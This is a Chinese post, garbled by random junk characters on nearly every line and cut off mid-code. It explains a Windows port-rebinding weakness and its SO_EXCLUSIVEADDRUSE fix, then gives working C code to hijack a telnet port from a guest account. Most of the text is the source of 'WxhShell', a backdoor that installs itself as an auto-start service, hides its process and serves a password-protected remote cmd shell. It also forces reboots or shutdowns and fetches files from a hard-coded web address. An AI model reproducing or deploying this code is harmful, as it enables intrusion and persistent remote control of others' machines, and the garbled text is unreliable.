在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fxLhVJ"b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
LwUvM (D8'qx-M saddr.sin_family = AF_INET;
&-+&`h|s |k'I?:' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
jkNZv. )p WII_s|YSt% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$Mx.8FC + kmW!0hm;e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lb1(1|# pAmTwe 这意味着什么?意味着可以进行如下的攻击:
U
gB e7L;{+XI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LFSOHJj su=.4JcK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9GZF39w u "0L@cOyG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/]xd[^ %!rsu-W:Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Yb =8\<; Pr<?E[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!wrl.A/P /KKX;L[D( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i6m;2 UAa U(./LrM05 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xDr
*|d 1'_OM h*; #include
]Ly)%a32 #include
'd?8OV #include
oS_p/$F, #include
*8XGo DWORD WINAPI ClientThread(LPVOID lpParam);
z|P& 8#txM int main()
wU#Q>ut'% {
9I RE@c WORD wVersionRequested;
#8/Z)-G DWORD ret;
v!`M=0k WSADATA wsaData;
YgWnPp BOOL val;
\iVYhl SOCKADDR_IN saddr;
1<R
\V SOCKADDR_IN scaddr;
sZ4H\ int err;
tOko %vY8 SOCKET s;
|E7]69=P SOCKET sc;
~`N|sI, int caddsize;
[1vrv(u> HANDLE mt;
NM]6 o DWORD tid;
SyYa_=En wVersionRequested = MAKEWORD( 2, 2 );
_ve7Is`/ err = WSAStartup( wVersionRequested, &wsaData );
\W@?revK if ( err != 0 ) {
sox90o 7 printf("error!WSAStartup failed!\n");
Dkdm~~Rr return -1;
\aW5V: ? }
jA]xpf6} saddr.sin_family = AF_INET;
v5$zz w -=qmYf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fCVSVn"o Yp
?
2< saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|R[m&uOib saddr.sin_port = htons(23);
YT:5J%" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.HtDcGp {
9Pb0Olh printf("error!socket failed!\n");
q5RLIstQ\ return -1;
etDB|(,z }
(8ymQ!aY val = TRUE;
,vhR99g{ //SO_REUSEADDR选项就是可以实现端口重绑定的
gVl#pVO`N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h'jnc. {
$4M3j%S printf("error!setsockopt failed!\n");
Lq&xlW
j return -1;
L]tyL) }
6a,YxR\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XnG!T$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V?rI,'F>N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]JM9 ^F 54)}^ftY^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g{ a0,B/j {
uIPR*9~6o ret=GetLastError();
p{U8z\ printf("error!bind failed!\n");
9%dNktt return -1;
%Mu dc }
{"y6l listen(s,2);
4v?S`w:6 while(1)
!kz\
{ {
hmi15VW caddsize = sizeof(scaddr);
[j/-(?+ //接受连接请求
(nzzX?`nY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~p 1y+ if(sc!=INVALID_SOCKET)
r:o!w7C:a {
v]1rH$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6Rt pB\hq if(mt==NULL)
~\_E%NR
yA {
:dj@i6 printf("Thread Creat Failed!\n");
bVrvb`0 break;
d8K^`k+x }
& 3a+6!L[ }
l%:_#1?isf CloseHandle(mt);
>pYgF=J }
/za,&7sf closesocket(s);
BdYh: WSACleanup();
4q~E\l|.5 return 0;
&KB{,:)? }
U9q*zP_jV DWORD WINAPI ClientThread(LPVOID lpParam)
xSf3Ir(, {
.KD07 SOCKET ss = (SOCKET)lpParam;
j?,$*Fi SOCKET sc;
0j yokER unsigned char buf[4096];
2,fB$5+ SOCKADDR_IN saddr;
8L@di Y long num;
xphqgOc12, DWORD val;
GQQ!3LwP\O DWORD ret;
dvf*w:5K! //如果是隐藏端口应用的话,可以在此处加一些判断
I
F@M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Nf~<xK saddr.sin_family = AF_INET;
R}]FIu saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
jkmh6 saddr.sin_port = htons(23);
c2U>89LlZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZAP+jX; {
1Li@O[%X< printf("error!socket failed!\n");
bM'AD[ return -1;
Ob6vg^# }
ibq@0CR val = 100;
,yF)7fN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~:@H6Ke[ {
w*}9;l ret = GetLastError();
l1??b
return -1;
JB|I/\(A }
B?M+`; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(!b:
gG {
6IX!9I\sT ret = GetLastError();
8+u8piG return -1;
}B5I#Af7 }
PX'LN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2Ar<(v$ {
zaZnL7ZJX printf("error!socket connect failed!\n");
RD4)NN6y5} closesocket(sc);
40<&0nn closesocket(ss);
u%pief return -1;
{
nV zN( }
>&VL2xLy while(1)
=~h54/#[I {
s*IfXv //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L`#+ZLo //如果是嗅探内容的话,可以再此处进行内容分析和记录
kpdFb7>| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a:fHTU=\p num = recv(ss,buf,4096,0);
2
zy^(%a if(num>0)
:QVGY^c send(sc,buf,num,0);
J-}NFWR;t else if(num==0)
r)t^qhn break;
)=D&NO67Pq num = recv(sc,buf,4096,0);
b>i=",i\ if(num>0)
w# e'K-= send(ss,buf,num,0);
AUC<
m. else if(num==0)
>$y
> break;
d}ZHY[ }
{ZcZ\Q;6 closesocket(ss);
dc05,Bz closesocket(sc);
z)%1 i return 0 ;
lK4+8VZ }
- -G1H k mjm6 B /W$RcV ==========================================================
`T70FsSJ Q-F9oZ*0 下边附上一个代码,,WXhSHELL
#-;BU{3* G
DV-wPX ==========================================================
"" U_|JH- {9Y'v #include "stdafx.h"
Pio^5jhB6 )hug<D *h #include <stdio.h>
#*!$!c{ #include <string.h>
:~(im_r #include <windows.h>
!A!\S/x4 #include <winsock2.h>
K>[H@|k\k
#include <winsvc.h>
5)UmA8"zVB #include <urlmon.h>
lQ/XJw `y}d)"! #pragma comment (lib, "Ws2_32.lib")
q8Dwu3D #pragma comment (lib, "urlmon.lib")
G)&'8W F5o qx)k1 QY #define MAX_USER 100 // 最大客户端连接数
o(P:f)B #define BUF_SOCK 200 // sock buffer
RY{tX` #define KEY_BUFF 255 // 输入 buffer
=FmU]DV x/=j$oA #define REBOOT 0 // 重启
D@^ZpN8r #define SHUTDOWN 1 // 关机
uNbA>*c4M %'e(3;YI #define DEF_PORT 5000 // 监听端口
T Rw6$CR Aq!['G #define REG_LEN 16 // 注册表键长度
C~qhwwh #define SVC_LEN 80 // NT服务名长度
blcKtrYg vgj^ - // 从dll定义API
O@iW?9C+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CWp1)%0= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yUO|3ONT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{ZXC%(u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
oui!fTy L2'd sOn // wxhshell配置信息
pr txE&- struct WSCFG {
k`TJ<Dv; int ws_port; // 监听端口
>|)0Amt char ws_passstr[REG_LEN]; // 口令
ImY.HB^& int ws_autoins; // 安装标记, 1=yes 0=no
KeB4Pae|V char ws_regname[REG_LEN]; // 注册表键名
4MJzx9# char ws_svcname[REG_LEN]; // 服务名
~7pjk char ws_svcdisp[SVC_LEN]; // 服务显示名
Nz*sD^SJa char ws_svcdesc[SVC_LEN]; // 服务描述信息
|Vi&f5p,@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U*Qq5=dqD int ws_downexe; // 下载执行标记, 1=yes 0=no
'c&@~O;^d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4_+Pv6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+5[oY,^cO -kbm$~P };
5vft}f @@83PJFid // default Wxhshell configuration
pm]DxJ@ struct WSCFG wscfg={DEF_PORT,
.KucjRI "xuhuanlingzhe",
D a[C'm= 1,
N@6OQ:,[F "Wxhshell",
yvCR = C "Wxhshell",
Jwd&[
O "WxhShell Service",
d&uTiH? 0 "Wrsky Windows CmdShell Service",
toqzS!&.v "Please Input Your Password: ",
.dT;T%3fO 1,
OZD!#YI "
http://www.wrsky.com/wxhshell.exe",
R9h>I3F=c "Wxhshell.exe"
{~fCqP.2 };
4q13xX c1kxKxE // 消息定义模块
W@,p9=425 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KC:4 char *msg_ws_prompt="\n\r? for help\n\r#>";
YX`=M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
T:dm0i au char *msg_ws_ext="\n\rExit.";
JA(fam~{ char *msg_ws_end="\n\rQuit.";
RX5.bVp
eE char *msg_ws_boot="\n\rReboot...";
kLt9;<L char *msg_ws_poff="\n\rShutdown...";
;#s}b1 char *msg_ws_down="\n\rSave to ";
2BDan^:-Av DBJA}Cw char *msg_ws_err="\n\rErr!";
-I-Uh{)j char *msg_ws_ok="\n\rOK!";
*3O >J" MJ,ZXJXs char ExeFile[MAX_PATH];
xs!g{~V{ int nUser = 0;
K3:|Tc( HANDLE handles[MAX_USER];
T_?nd T2 int OsIsNt;
4iNbK~5j 99"[b SERVICE_STATUS serviceStatus;
~59`S#ax/l SERVICE_STATUS_HANDLE hServiceStatusHandle;
M+;P?|a 12sD|j // 函数声明
@GQ8q]N:< int Install(void);
VtO;UN int Uninstall(void);
qmA2bw] int DownloadFile(char *sURL, SOCKET wsh);
oL Vtu5 int Boot(int flag);
_/}Hqh void HideProc(void);
&
8'( int GetOsVer(void);
1@^Ek8C int Wxhshell(SOCKET wsl);
U`8|9v void TalkWithClient(void *cs);
G4Kmt98I int CmdShell(SOCKET sock);
5!F\h'E int StartFromService(void);
ZBmXaP[9 int StartWxhshell(LPSTR lpCmdLine);
ydND$@; Z HNy/ - VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z8/xGQn VOID WINAPI NTServiceHandler( DWORD fdwControl );
pp]_/46nN <*"pra{3 // 数据结构和表定义
OR\DTLIl SERVICE_TABLE_ENTRY DispatchTable[] =
K-
I\P6R` {
D!}K)T1~R {wscfg.ws_svcname, NTServiceMain},
x} &a{; {NULL, NULL}
]hE+$sKd };
oU0
h3 6I>5~?# // 自我安装
;DD>k bd int Install(void)
Q_aqX(ig {
~sU?"V char svExeFile[MAX_PATH];
l>D-Aan HKEY key;
AB"1(PbG strcpy(svExeFile,ExeFile);
ZSPgci W 9Vz[ // 如果是win9x系统,修改注册表设为自启动
!ml_S) if(!OsIsNt) {
oWDSK^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5U{4TeUH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-/UXd4S RegCloseKey(key);
b>QM~mq3^I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tyuk{*Me: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3gG+`{< RegCloseKey(key);
-
LiPHHX< return 0;
LMFK3Gd[ }
^+.t-3|U }
OyJsz]b} M }
_7lt(f[S else {
HX3D*2v": [Iw>|q<e // 如果是NT以上系统,安装为系统服务
wKk
3)@il SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
hu P ^2*c if (schSCManager!=0)
>wKu6-
]a {
o)tKH@`vE SC_HANDLE schService = CreateService
1xO!w+J# (
3+(yI 4 schSCManager,
_k_>aG23 wscfg.ws_svcname,
xN`r4 wscfg.ws_svcdisp,
"[*S?QO(L SERVICE_ALL_ACCESS,
/WgPXE B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=Y&9
qt SERVICE_AUTO_START,
}UKgF. SERVICE_ERROR_NORMAL,
WVS$O99Y svExeFile,
\[hn]@@ NULL,
9DOkQnnc NULL,
[J)/Et NULL,
7`IUMYl#~ NULL,
"H>r-cyh NULL
jq57C}X}2 );
q Vm"f,ruo if (schService!=0)
4D^ M<Xn {
W?qpnPW CloseServiceHandle(schService);
x0\e<x9s CloseServiceHandle(schSCManager);
-uA 3Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
j-J(C[[9 strcat(svExeFile,wscfg.ws_svcname);
48tcgFg[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
M*5,O RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]<27Sw&yaG RegCloseKey(key);
17>5#JLP return 0;
|} K }
E?Zb~xk }
I %|@3=Yc CloseServiceHandle(schSCManager);
%cH8;5U40 }
,
Aq9fyC% }
^I X%dzM n1QEu"~Zj return 1;
`d7gm;ykp }
s0cs'Rg nJFk4v4:2 // 自我卸载
LH=d[3Y int Uninstall(void)
|7 &|> {
XkPv*%Er8 HKEY key;
EKZA5J7kn )v%l0_z{ if(!OsIsNt) {
z,pNb%*O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-#LjI. RegDeleteValue(key,wscfg.ws_regname);
X=v~^8M7% RegCloseKey(key);
5>k>L*5J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wgY6D!Y RegDeleteValue(key,wscfg.ws_regname);
}m6f^fs} RegCloseKey(key);
?gLR<d_ return 0;
QVIcb;&:} }
In
f9wq\ }
9s!
2 wwh }
oW0gU?Rr)u else {
vO\:vp4fH t]s94 R q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~?#~ Ar if (schSCManager!=0)
8r,9OM {
}>2t&+v+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gaQ[3g if (schService!=0)
w{PUj {
N0+hejz if(DeleteService(schService)!=0) {
b-PSm=` CloseServiceHandle(schService);
B@-|b CloseServiceHandle(schSCManager);
hZcmP"wgC1 return 0;
\B_i$<Sz }
Le*`r2 CloseServiceHandle(schService);
0|g[o:;fl_ }
WtIMvk CloseServiceHandle(schSCManager);
5XDgs|8 }
?TDvCL }
mge#YV:: n_v02vFAHT return 1;
hM?`x(P }
i8K_vo2Z) *oCxof9JA // 从指定url下载文件
_B)s=Snx int DownloadFile(char *sURL, SOCKET wsh)
>K\3*]>J3 {
o&~dGG4J HRESULT hr;
;; :">@5 char seps[]= "/";
|2O')3p"9 char *token;
vX ?aB!nkw char *file;
_=pWG^a char myURL[MAX_PATH];
KyT uF char myFILE[MAX_PATH];
0!pJ5q ,A wfE^Sb3 strcpy(myURL,sURL);
~p:?QB>1]
token=strtok(myURL,seps);
6
jmrD while(token!=NULL)
yq?]V7~ {
kd yAl, file=token;
Tr~sieL token=strtok(NULL,seps);
rWA6XDM7 }
xk& NAB <Z},A-\S* GetCurrentDirectory(MAX_PATH,myFILE);
a"x}b strcat(myFILE, "\\");
8) HBh7/ strcat(myFILE, file);
]%
K'
fXj$ send(wsh,myFILE,strlen(myFILE),0);
D&/I1=\( send(wsh,"...",3,0);
p!_[qs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\wYc1M@7V if(hr==S_OK)
qe<Hfp/p return 0;
"Ht'{ & else
XIKvH-0& return 1;
5$kdgFq( \^jjK,OK }
C0QM#"[ k)cP! %z // 系统电源模块
6hO-H&r++ int Boot(int flag)
3f"C!l]Xu {
+
~"5! HANDLE hToken;
\/ErPi=g TOKEN_PRIVILEGES tkp;
eIH$"f;L e?b)p5g if(OsIsNt) {
5Q W}nRCZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZWS2q4/S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
802H$P^ps tkp.PrivilegeCount = 1;
V C-d0E0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=> qTNh*' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A{N\) if(flag==REBOOT) {
eNbpwne if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2VA!&`I return 0;
[KSH~:h:NR }
sef]>q else {
/N6}*0Ru if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X d3}Vn= return 0;
$#e1SS32 }
0]B(a }
?^}_j
vT else {
+>SRrIi if(flag==REBOOT) {
V^TbP. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ird|C[la return 0;
2s\BY%XY }
/,2rjJ#b else {
;'0=T0\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
D/CIA8h3 return 0;
X%4Kj[I^ }
[*Uu#9 }
~W-cGb3c 5!(?m~jJ return 1;
Wpr
,jN8b }
(5a1P;_Y rQb7?O@- // win9x进程隐藏模块
-R
b{^/ void HideProc(void)
Y%@hbUc}x9 {
eVJ^\z:4 @ }&_Dvf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$=)gpPT if ( hKernel != NULL )
?IF)+] {
du_4eB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
lyv4fP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>P=Q #;v FreeLibrary(hKernel);
rzUlO5?R= }
P6\6?am cE\>f8 I return;
!Ms[eB }
yCP4r6X0 /TV=$gB` // 获取操作系统版本
Dvc&RG int GetOsVer(void)
D d,2;#_ {
5)UQWnd5 OSVERSIONINFO winfo;
;wHCj$q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
l1'6cLT` GetVersionEx(&winfo);
e#S0Fk)z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Z"y=sDO{ return 1;
bm#(? else
YlF%UPp return 0;
H,y4`p 0 }
tU:EN;H q%i-`S]}qL // 客户端句柄模块
cBXWfv4 int Wxhshell(SOCKET wsl)
Lja 7 {
%JyXbv3m, SOCKET wsh;
{<=#*qx[Y! struct sockaddr_in client;
/>44]A< DWORD myID;
,|h)bg7. (Un_!) while(nUser<MAX_USER)
,r8Tbk]m {
\r{W int nSize=sizeof(client);
Iz@)!3h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;j%BK(5 if(wsh==INVALID_SOCKET) return 1;
2=iH$v C\*4q8( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,xfO;yd if(handles[nUser]==0)
!EIjN
closesocket(wsh);
\ck+GW4& else
i'#Gy,R nUser++;
%$5H!!~o }
r]Lc9dL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
SUM4Di7 #oni:] E!m return 0;
{Ui=b+ }
eq4C+&O& 4\M.6])_ // 关闭 socket
EYX$pz(x; void CloseIt(SOCKET wsh)
$O)3q
$| {
p-SJ6Gg
9 closesocket(wsh);
]#2Y e7+ nUser--;
alq%H}FF ExitThread(0);
vVl; | }
m P'^%TE hrGH}CU" // 客户端请求句柄
BV#78,8( void TalkWithClient(void *cs)
[*:6oo98' {
Pr ]Ka TuDE@ gq( SOCKET wsh=(SOCKET)cs;
E&$yuW^z char pwd[SVC_LEN];
Yz$3;
char cmd[KEY_BUFF];
$%R$G`.KM char chr[1];
&<RpWA k{ int i,j;
~m^ #FJu Xx:F)A8O while (nUser < MAX_USER) {
{gbn/{ L;Z0`mdz if(wscfg.ws_passstr) {
:Bu2,EL*O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L|@y&di //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qqrq11W //ZeroMemory(pwd,KEY_BUFF);
svf|\p>]H i=0;
jz58E} while(i<SVC_LEN) {
sZGj"_-Hzu 6Htg5o|W // 设置超时
F#
T 07< fd_set FdRead;
9d[5{"2j struct timeval TimeOut;
D,qu-k[jMI FD_ZERO(&FdRead);
#n0Y6Pr FD_SET(wsh,&FdRead);
RPd}Wf TimeOut.tv_sec=8;
Z[__"^} TimeOut.tv_usec=0;
uVyGk~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2owEw*5jl/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o]:3H8 Ig]iT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
kVK/9dy-F pwd
=chr[0]; lKZB?Kk^w\
if(chr[0]==0xd || chr[0]==0xa) { s, k
pwd=0; LJk%#yV|_
break; &F STpBu
} ;2'q_Btk4
i++; D(-yjY8aG
} 4SPy28<f
h.O$]:N
// 如果是非法用户,关闭 socket =0uAE7q(9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $un?0S
} `Qr%+OD
9$`lIy@B
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AL#4_]m'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _4^R9Bt
l2N]a9bq@
while(1) { iY"l}.7)
nWQ;9_qBB
ZeroMemory(cmd,KEY_BUFF); !*6CWV0
`;%]'F0`
// 自动支持客户端 telnet标准 sVG(N.y
j=0; =] *.ZH#h
while(j<KEY_BUFF) { mU}F!J#6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4jD2FFG-
G
cmd[j]=chr[0]; F1L:,.e`
if(chr[0]==0xa || chr[0]==0xd) { a:QDBS2Llv
cmd[j]=0;
Uf}\p~;
break; C4TE-OM8
} Y"A/^]
j++; UfS%71l.$
} p+)Y Tzzc
3U_2! zF3_
// 下载文件 V< k8N^
if(strstr(cmd,"http://")) { C8z{XSo
send(wsh,msg_ws_down,strlen(msg_ws_down),0); da)NK!
if(DownloadFile(cmd,wsh)) -B86U6^s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @v}/zS
else V5*OA??k<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \=_{na_
} B&D}F=U
else { 6k#Jpmmr
!%$`Eq)M^7
switch(cmd[0]) { YnLErJ
M(/r%-D
// 帮助 bw\@W{a%q
case '?': { 9k{PBAP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C*P7-oE2rh
break; 'C"9QfK
} /Q~i~B 2j-
// 安装 D9M:^
case 'i': { S~|T4q(
if(Install()) 72'5%*1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pR~U`r5z
else iX)%Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CHz+814
break; &RfC"lc
} ocs+d\
// 卸载 ynbuN x*
case 'r': { AM!G1^c
if(Uninstall()) ~?(N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r?/'!!4
else F i0GknQ+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i-6Z"b{
break; ~c\e'≻
} Qjb:WC7he
// 显示 wxhshell 所在路径 <i,U )Tt^C
case 'p': { )==Jfn y
char svExeFile[MAX_PATH]; ?!+MM&c-n
strcpy(svExeFile,"\n\r"); [UH||qW
strcat(svExeFile,ExeFile); 0\e IQp
send(wsh,svExeFile,strlen(svExeFile),0); AJ=qn a
break; ?"g!
} +llR204
// 重启 !jTcsN%
case 'b': { S_Wrw z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8SGo9[U2
if(Boot(REBOOT)) @H=:)*;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@[rms
else { DP|D\+YyYA
closesocket(wsh); xoN3
ExitThread(0); o,)?!{k}
} <*qnY7c&N;
break; ]?(-[
} B8}Nvz
/
// 关机 ajEjZ6
case 'd': { @<elq'2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [C'JH//q*t
if(Boot(SHUTDOWN)) ?U2<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ve1]) u
else { a*&B`77`|
closesocket(wsh); r4SXE\
G
ExitThread(0); #~
)IJ
} \RG8{G,
break; h%uZYsK
} 2%_vXo=I
// 获取shell WHj'dodS
case 's': { 2I,^YWR
CmdShell(wsh); 9J2NH|]c
closesocket(wsh); W>j !Q^?
ExitThread(0); M
r5v<
break; ]jo1{IcI
} 0E3[N:s
// 退出 0"pAN[=K@
case 'x': { GJ_7h_4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QD0"rxZJ
CloseIt(wsh); ?M\{&mlF
break; *=V~YF:Qb
} #
mV{#B=
// 离开 *Qg _F6y
case 'q': { >LOjV0K/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f}9zgWU
closesocket(wsh); )mF5Vw"
WSACleanup(); @}}$zv6l,
exit(1); ;6>2"{NW
break; e?8HgiP-
} '/^qJ7eb
} 7+\+DujE$
} =4FXBPoQK
xHD=\,{ig
// 提示信息 2#c<\s|C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ww],y@da
} R}*_~7r5
} 8Djc
c
z
|#]@Z)xa
return; X:vghOt?
} w5Y04J
u>2
l7PA|
// shell模块句柄 3h$6t7=C
int CmdShell(SOCKET sock) <
HVl(O
{ ]~'5\58sP
STARTUPINFO si; E87Ww,z8
ZeroMemory(&si,sizeof(si)); tMf}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3=aQG'B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A#EDkU,
PROCESS_INFORMATION ProcessInfo; [XEkz#{
char cmdline[]="cmd"; ;DFSzbF`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `4=^cyt+
return 0; n*[XR`r}
} ;:\<gVi:
<G|(|E1
// 自身启动模式 fF7bBE)L/|
int StartFromService(void) `d5%.N
{ RI(DXWM|h
typedef struct 9]f!'d!5
{ tX_R_]v3
DWORD ExitStatus; 0i!uUF
DWORD PebBaseAddress; D1zBsi94D
DWORD AffinityMask; p@xf^[50k
DWORD BasePriority; _m5uDF?[
ULONG UniqueProcessId; 2mVD_ s[`
